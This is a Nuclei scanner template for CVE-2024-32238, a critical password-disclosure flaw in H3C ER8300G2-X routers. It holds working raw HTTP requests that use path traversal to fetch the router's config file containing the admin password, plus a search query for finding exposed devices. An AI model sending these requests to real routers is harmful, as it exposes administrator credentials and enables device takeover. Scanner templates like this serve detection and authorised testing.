H3C ER8300G2-X - Password Disclosure

id: CVE-2024-32238

info:
  name: H3C ER8300G2-X - Password Disclosure
  author: s4e-io,adeljck
  severity: critical
  description: |
    H3C ER8300G2-X is vulnerable to Incorrect Access Control. The password for the router's management system can be accessed via the management system page login interface.
  impact: |
    Unauthenticated attackers can access the router's administrative password via the management system interface.
  remediation: |
    Update H3C ER8300G2-X router firmware to a version that addresses the password disclosure vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/H3C/H3C%E8%B7%AF%E7%94%B1%E5%99%A8userLogin.asp%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md
    - https://github.com/asdfjkl11/CVE-2024-32238/issues/1
    - https://www.h3c.com/cn/Products_And_Solution/InterConnect/Products/Routers/Products/Enterprise/ER/ER8300G2-X/
    - https://github.com/20142995/nuclei-templates
    - https://github.com/FuBoLuSec/CVE-2024-32238
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-32238
    cwe-id: CWE-522
    epss-score: 0.53229
    epss-percentile: 0.98853
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="icg_helpScript.js"
  tags: cve,cve2024,h3c,router,info-leak,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /userLogin.asp HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: module_name
        part: body
        internal: true
        group: 1
        regex:
          - "<title>([A-Za-z0-9-]+)系统管理</title>"

  - raw:
      - |
        GET /userLogin.asp/../actionpolicy_status/../{{module_name}}.cfg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(content_type, "application/x-unknown")'
          - 'contains_all(body, "admpwd=", "auxauthmode=")'
          - 'contains(server, "H3C-Miniware")'
        condition: and
# digest: 4b0a00483046022100db6e2955fa13e7d3f1ce5d652b7fa7387056f165a07f300ca8ea24362f693066022100c522fc0a8904b289f624f1316fb9372c07a25741d6f631d1662aa92a09f2b7b8:922c64590222798bb761d5b6d8e72950